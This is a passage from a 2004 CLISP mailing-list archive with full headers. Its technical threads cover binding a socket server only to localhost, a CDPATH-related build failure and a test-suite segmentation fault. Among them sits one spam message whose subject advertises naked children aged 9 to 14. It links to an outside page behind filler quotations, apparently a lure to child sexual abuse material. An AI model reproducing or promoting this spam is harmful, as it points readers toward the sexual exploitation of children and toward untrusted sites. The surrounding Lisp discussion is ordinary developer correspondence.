even better if we make all these streams > different... FRESH-LINE and UNREAD-CHAR work more reliably if they are kept all the same. Bruno From hin@van-halen.alma.com Mon Dec 13 08:00:40 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cdscq-0003KZ-9N for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 08:00:40 -0800 Received: from carbine.dsl.net ([65.84.81.3]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cdsco-0001lM-DG for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 08:00:40 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by carbine.dsl.net (Postfix) with ESMTP id 049AA10DF2A; Mon, 13 Dec 2004 11:00:34 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id iBDG0X2a001351; Mon, 13 Dec 2004 11:00:33 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id iBDG0X4G001348; Mon, 13 Dec 2004 11:00:33 -0500 Message-Id: <200412131600.iBDG0X4G001348@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Cc: lists@consulting.net.nz In-reply-to: (message from Sam Steingold on Mon, 13 Dec 2004 09:57:48 -0500) Subject: Re: [clisp-list] Re: Socket server bound solely to localhost? X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 13 08:01:02 2004 X-Original-Date: Mon, 13 Dec 2004 11:00:33 -0500 > * Adam Warner [2004-12-13 19:07:58 +1300]: > > Am I misreading the implementation notes or is there no way to bind a > server socket solely to localhost (so the server is only accessible to > clients running on the local computer?) I believe this is correct. > From: Sam Steingold > In-Reply-To: (Adam > Warner's message of "Mon, 13 Dec 2004 19:07:58 +1300") > > I think you will get what you want if you call SOCKET-SERVER on a > socket connected to localhost. Sam -- I don't believe this is accurate. I glanced at the socket interface source for CLISP and the setting up of the TCP port listened on, as well as the "local listen address" (which Adam wants to control) must be done at the same time, via the sys call "bind()" according to the rules of TCP. Once a socket is created with SOCKET-SERVER, it is already "bound" and listening on a port, with its listen address set to "0.0.0.0" -- which means "any configured address on the SERVER". I imagine Adam has a server with multiple IP addresses, including the "local loopback" (127.0.0.1) as well as some others, and he wants to listen only on the loopback address, perhaps for security or some other reason. This address would need to specified, along w/ the port, at the time the socket was created, if I understand correctly. IMHO the imp. notes are somewhat misleading as to the meaning of the "host" parameter where server ("listening") sockets are concerned. The notes imply that the host mask controls what IP addresses on the client side are allowed to connect, when in fact it is the mask of which (of multiple) configured IP addresses on the SERVER may be allowed to accept connections when clients ask to connect to a specific address. Hope this helps more than confuses. > * Adam Warner [2004-12-13 19:07:58 +1300]: > > I suggest the interface should be: > (SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket] [host]) > > Where a [host] of NIL binds to all network interfaces (thus being > backwards compatible) and a supplied [host] only binds to the designated > network interface (usually localhost/127.0.0.1 or the hostname). Personally I think this is a very reasonable way to do it. If desired I could see if I can add this quickly. What is needed is this optional parameter and, when it is given, the ability to substitute in place of the hardcoded "0.0.0.0" which appears in the CLISP code in src/socket.d ... --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@gnu.org Mon Dec 13 08:39:25 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdtEL-0006iL-0X for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 08:39:25 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CdtEI-0006Dc-IU for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 08:39:24 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iBDGd17r022812; Mon, 13 Dec 2004 11:39:06 -0500 (EST) To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200412131600.iBDG0X4G001348@van-halen.alma.com> (John K. Hinsdale's message of "Mon, 13 Dec 2004 11:00:33 -0500") References: <200412131600.iBDG0X4G001348@van-halen.alma.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: Socket server bound solely to localhost? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 13 08:40:03 2004 X-Original-Date: Mon, 13 Dec 2004 11:39:01 -0500 > * John K. Hinsdale [2004-12-13 11:00:33 -0500]: > > > I think you will get what you want if you call SOCKET-SERVER on a > > socket connected to localhost. > > Sam -- I don't believe this is accurate. I glanced at the socket > interface source for CLISP and the setting up of the TCP port listened > on, as well as the "local listen address" (which Adam wants to > control) must be done at the same time, via the sys call "bind()" > according to the rules of TCP. look at socket.d:create_server_socket() when socket is valid, its peer is used for bind. so, (with-open-stream (s (socket-connect 21)) (socket-server s)) should return what Adam wanted (if there is a local telnet server). > If desired I could see if I can add this quickly. What is needed is > this optional parameter and, when it is given, the ability to > substitute in place of the hardcoded "0.0.0.0" which appears in the > CLISP code in src/socket.d ... please go ahead. -- Sam Steingold (http://www.podval.org/~sds) running w2k Let us remember that ours is a nation of lawyers and order. From hin@van-halen.alma.com Mon Dec 13 08:52:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdtRL-0007mN-Kx for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 08:52:51 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CdtRK-0008Mm-Us for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 08:52:51 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 71FCC10DE13 for ; Mon, 13 Dec 2004 11:52:39 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id iBDGqd2a001783 for ; Mon, 13 Dec 2004 11:52:39 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id iBDGqdMu001780; Mon, 13 Dec 2004 11:52:39 -0500 Message-Id: <200412131652.iBDGqdMu001780@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Mon, 13 Dec 2004 11:39:01 -0500) Subject: Re: [clisp-list] Re: Socket server bound solely to localhost? X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 13 08:53:12 2004 X-Original-Date: Mon, 13 Dec 2004 11:52:39 -0500 > look at socket.d:create_server_socket() when socket is valid, its peer > is used for bind. so, > > (with-open-stream (s (socket-connect 21)) > (socket-server s)) > > should return what Adam wanted (if there is a local telnet server). nope, still think it's not what Adam wants since Adam needs to set both the server-side listen address AND port. I tested out the above, and it creates a listening server socket with the listening address set to what is wanted (127.0.0.1) but the port is also "copied" from the client connection stream, S, and takes on whatever value that happens to have (usually some unpredictable 16-bit number above 1024). It's also a bit roundabout to to have to CONNECT, as a client, to some arbitrary server in order to create a server socket, if one is only interested in being a server. >> If desired I could see if I can add this quickly. What is needed is > please go ahead. i'll see what i can do. FYI if you have used SSH port tunneling you will know it took the SSH people years to allow setting of the listen mask on the server side (always hardcoded to 127.0.0.1 when I always wanted 0.0.0.0). I had to recompile the source. BTW, Adam, if you are using a CLISP built from the source you can just hack "socket.d" and change "0.0.0.0" to "127.0.0.1" and you are in business. But this setting of the listen mask is a basic thing these days with many hosts having multiple network interfaces and IP addresses (many of these addresses being "virtual" IP's used by firewalls, VPNs and other such network ware) Hope this help From sds@gnu.org Mon Dec 13 09:12:42 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdtkY-0001AG-13 for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 09:12:42 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CdtkW-0001wE-2I for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 09:12:40 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iBDHCP7r003666; Mon, 13 Dec 2004 12:12:25 -0500 (EST) To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200412131652.iBDGqdMu001780@van-halen.alma.com> (John K. Hinsdale's message of "Mon, 13 Dec 2004 11:52:39 -0500") References: <200412131652.iBDGqdMu001780@van-halen.alma.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: Socket server bound solely to localhost? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 13 09:13:03 2004 X-Original-Date: Mon, 13 Dec 2004 12:12:25 -0500 > * John K. Hinsdale [2004-12-13 11:52:39 -0500]: > > > look at socket.d:create_server_socket() when socket is valid, its peer > > is used for bind. so, > > > > (with-open-stream (s (socket-connect 21)) > > (socket-server s)) > > > > should return what Adam wanted (if there is a local telnet server). > > nope, still think it's not what Adam wants since Adam needs to set > both the server-side listen address AND port. Oh, yes, I did not realize that he wanted also to set the port. you are right. > i'll see what i can do. FYI if you have used SSH port tunneling you > will know it took the SSH people years to allow setting of the listen > mask on the server side (always hardcoded to 127.0.0.1 when I always > wanted 0.0.0.0). I had to recompile the source. I hope it will not take _you_ years! BTW, CLISP used "127.0.0.1" there until 2000-07-19. -- Sam Steingold (http://www.podval.org/~sds) running w2k Nostalgia isn't what it used to be. From lisp-clisp-list@m.gmane.org Mon Dec 13 14:23:41 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdybV-0007m5-0X for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 14:23:41 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CdybU-0006eY-3d for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 14:23:40 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CdybS-0004op-00 for ; Mon, 13 Dec 2004 23:23:38 +0100 Received: from ip202-36-23-206.ip.splice.net.nz ([202.36.23.206]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 13 Dec 2004 23:23:38 +0100 Received: from lists by ip202-36-23-206.ip.splice.net.nz with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 13 Dec 2004 23:23:38 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Adam Warner Lines: 33 Message-ID: References: <200412131600.iBDG0X4G001348@van-halen.alma.com> Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: ip202-36-23-206.ip.splice.net.nz User-Agent: Pan/0.14.2.91 (As She Crawled Across the Table (Debian GNU/Linux)) X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: Re: Socket server bound solely to localhost? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 13 14:24:06 2004 X-Original-Date: Tue, 14 Dec 2004 11:23:31 +1300 Hi John K. Hinsdale, >> * Adam Warner [2004-12-13 19:07:58 +1300]: >> >> I suggest the interface should be: >> (SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket] [host]) >> >> Where a [host] of NIL binds to all network interfaces (thus being >> backwards compatible) and a supplied [host] only binds to the designated >> network interface (usually localhost/127.0.0.1 or the hostname). > > Personally I think this is a very reasonable way to do it. > > If desired I could see if I can add this quickly. What is needed is > this optional parameter and, when it is given, the ability to > substitute in place of the hardcoded "0.0.0.0" which appears in the > CLISP code in src/socket.d ... Many thanks for your responses John and Sam. John, you've been spot on. Out of the free Lisps CMUCL and SBCL already have this functionality (though I hit a bug in CMUCL and am using the db-sockets library which parallels sb-bsd-sockets); GCL's server side code is still incomplete; and ABCL should soon include the functionality after my patch is applied: As can be seen above the amount of code required isn't major in Java with ABCL's architecture. I'm unfamiliar with CLISP internals and won't be implementing it myself at this stage. It will be good when the Lisp implementations have a greater common level of base socket functionality. Regards, Adam From rolney@pcug.org.au Mon Dec 13 18:30:44 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ce2Sa-0002Jm-0x for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 18:30:44 -0800 Received: from supreme.pcug.org.au ([203.10.76.34] helo=pcug.org.au) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Ce2SY-00085b-V1 for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 18:30:43 -0800 Received: from supreme.pcug.org.au (supreme.pcug.org.au [203.10.76.34]) by pcug.org.au (8.12.9/8.12.9/TIP-2.39) with ESMTP id iBE2URNd000224; Tue, 14 Dec 2004 13:30:27 +1100 (EST) From: Robert Olney To: clisp-list@lists.sourceforge.net cc: Bruno Haible In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: error compiling clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 13 18:31:04 2004 X-Original-Date: Tue, 14 Dec 2004 13:30:27 +1100 (EST) On Mon, 6 Dec 2004, Sam Steingold wrote: > > * Robert Olney [2004-12-07 06:21:10 +1100]: > > > > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > > -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI > > -DNO_SIGSEGV -I. -I/home/ro/src/clisp-2.33.2/new -c modules.c > > In file included from modules.d:12: > > /home/ro/src/clisp-2.33.2/new/clisp.h:609: warning: register used for two > > global register variables > > /home/ro/src/clisp-2.33.2/new/full > > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > > -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI > > -DNO_SIGSEGV -I. -x none modules.o regexi.o lisp.a libcharset.a > > libavcall.a libcallback.a -lreadline -lncurses -ldl -o lisp.run > > gcc: regexi.o: No such file or directory > > gcc: lisp.a: No such file or directory > > gcc: libcharset.a: No such file or directory > > gcc: libavcall.a: No such file or directory > > gcc: libcallback.a: No such file or directory > > base/lisp.run -B . -M base/lispinit.mem -norc -q -i regexp/preload.lisp -x > > (saveinitmem "full/lispinit.mem") > > ;; Loading file regexp/preload.lisp ... > > ;; Loaded file regexp/preload.lisp > > 1202136 ; > > 601068 > > full/lisp.run -B . -M full/lispinit.mem -norc -q -i regexp/regexp -x > > (saveinitmem "full/lispinit.mem") > > ./clisp-link: full/lisp.run: No such file or directory > > make: *** [full] Error 1 > > this is strange. > what do you have in "new/base/"? > $ ls new/base/ > $ ls new/regexp/ > $ cd new > $ make base > $ make full > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > When we write programs that "learn", it turns out we do and they don't. > The problem was I had CDPATH set. This results in cd echoing the new path, which means commands such as absolute_destinationdir=`cd "$destinationdir" ; /bin/pwd` in the clisp-link script have the directory doubled, and invalid links are created in the full directory. Robert. From rolney@pcug.org.au Mon Dec 13 18:55:27 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ce2qV-0003ob-0s for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 18:55:27 -0800 Received: from supreme.pcug.org.au ([203.10.76.34] helo=pcug.org.au) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Ce2qU-0002Zb-3V for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 18:55:26 -0800 Received: from supreme.pcug.org.au (supreme.pcug.org.au [203.10.76.34]) by pcug.org.au (8.12.9/8.12.9/TIP-2.39) with ESMTP id iBE2tONd009468 for ; Tue, 14 Dec 2004 13:55:24 +1100 (EST) From: Robert Olney To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] make check test failure Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 13 18:56:01 2004 X-Original-Date: Tue, 14 Dec 2004 13:55:24 +1100 (EST) Hi, when I run make check after compiling clisp 2.33.2, I get: test error: (PRINT 1 2) make[1]: *** [tests] Segmentation fault make[1]: Leaving directory `/home/ro/src/clisp-2.33.2/build-dif/suite' make: *** [testsuite] Error 2 If I comment out this test in tests/excepsit.tst, it completes successfully with zero errors. I am using Linux Debian kernel 2.4.18-1-686. Robert. From ggutierrez@bunge.com Mon Dec 13 18:58:53 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ce2tp-0004Me-2A for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 18:58:53 -0800 Received: from pcp02696424pcs.roylok01.mi.comcast.net ([68.84.190.216] helo=68.84.190.216) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1Ce2to-0007Vy-8F for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 18:58:52 -0800 Received: from smtp2.bunge.com by 68.84.190.216 (8.9.3/8.9.3) with SMTP id FN6Sg4ierEm2 for ; Mon, 13 Dec 2004 22:00:03 -0500 Received: from unknown (129.104.29.48) by smtp2.bunge.com with SMTP for ; Mon, 13 Dec 2004 22:00:03 -0500 From: Annie Amos Reply-To: Annie Amos Message-ID: <100926898028.274772681279@bunge.com> To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: -3.4 (---) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.5 RCVD_NUMERIC_HELO Received: contains a numeric HELO -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] mail naked 9 - 14 yo right Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 13 18:59:04 2004 X-Original-Date: Mon, 13 Dec 2004 22:00:03 -0500 You want to see something new and shocking ? The greater the difficulty, the greater the glory.When people agree with me I always feel that I must be wrong. Young moths from your dreams glad That's the kind of ad I like, facts, facts, facts. Please your eye beauty with Thousands high-resolution mail professional images really http://www.geocities.com/gordon_alexander_28/?s=lete&m=hYbRU-YbRQ.YbRQR,RVPShfeVSdf,WfQ Remember that the faith that moves mountains always carries a pick.Say what you will about the Ten Commandments, you must always come back to the pleasant fact that there are only ten of them. From berlin.brown@gmail.com Mon Dec 13 23:13:10 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ce6ru-0004iW-H4 for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 23:13:10 -0800 Received: from rproxy.gmail.com ([64.233.170.193]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Ce6rt-0006UF-Dj for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 23:13:09 -0800 Received: by rproxy.gmail.com with SMTP id f1so532927rne for ; Mon, 13 Dec 2004 23:13:07 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=ZqXocSpKTM4fdUkaWgrSmXNxmCmAioQaT4d63yLDpEVHUnJ+H/qMtnfyaFgWOXvIagKrkhs/Vt2V/vI05uXeniI2XyIa5gYgIHquxfdv63Q5y+9Yt0aP8fQ5XJeRndBibgibiLY2pbonDknH1HXXe2HRxIProe3v9auR/9Wi8FA= Received: by 10.38.90.62 with SMTP id n62mr99151rnb; Mon, 13 Dec 2004 23:13:07 -0800 (PST) Received: by 10.39.1.31 with HTTP; Mon, 13 Dec 2004 23:13:07 -0800 (PST) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] List Join Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 13 23:14:01 2004 X-Original-Date: Tue, 14 Dec 2004 02:13:07 -0500 Berlin Brown From berlin.brown@gmail.com Mon Dec 13 23:19:23 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ce6xv-0005HF-JI for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 23:19:23 -0800 Received: from rproxy.gmail.com ([64.233.170.198]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Ce6xv-0000Sf-5r for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 23:19:23 -0800 Received: by rproxy.gmail.com with SMTP id r35so1263918rna for ; Mon, 13 Dec 2004 23:19:21 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=rySw8deQNufSt1MyD0Npd66no4WgJVpeFQn0az4R9f7WK8iDXS4gPzVgRIGAmFFsPvPP2OU2wKiZzVu9uBbG02E4KypDb8IIFU5ay0oS9+jTr1yOBahiWaMMoPjJ5ZvHrJe9RmQsx9j0l7xBQW24LiQoysT3Qtv2hKrpBLNcidQ= Received: by 10.38.12.73 with SMTP id 73mr1931890rnl; Mon, 13 Dec 2004 23:19:21 -0800 (PST) Received: by 10.39.1.31 with HTTP; Mon, 13 Dec 2004 23:19:21 -0800 (PST) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] adsfsf Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 13 23:20:02 2004 X-Original-Date: Tue, 14 Dec 2004 02:19:21 -0500 sfsf From bruno@clisp.org Tue Dec 14 04:26:52 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CeBlS-0001kZ-De for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 04:26:50 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CeBlR-000688-Lq for clisp-list@lists.sourceforge.net; Tue, 14 Dec 2004 04:26:50 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id iBECQfrA010611; Tue, 14 Dec 2004 13:26:41 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.122]) 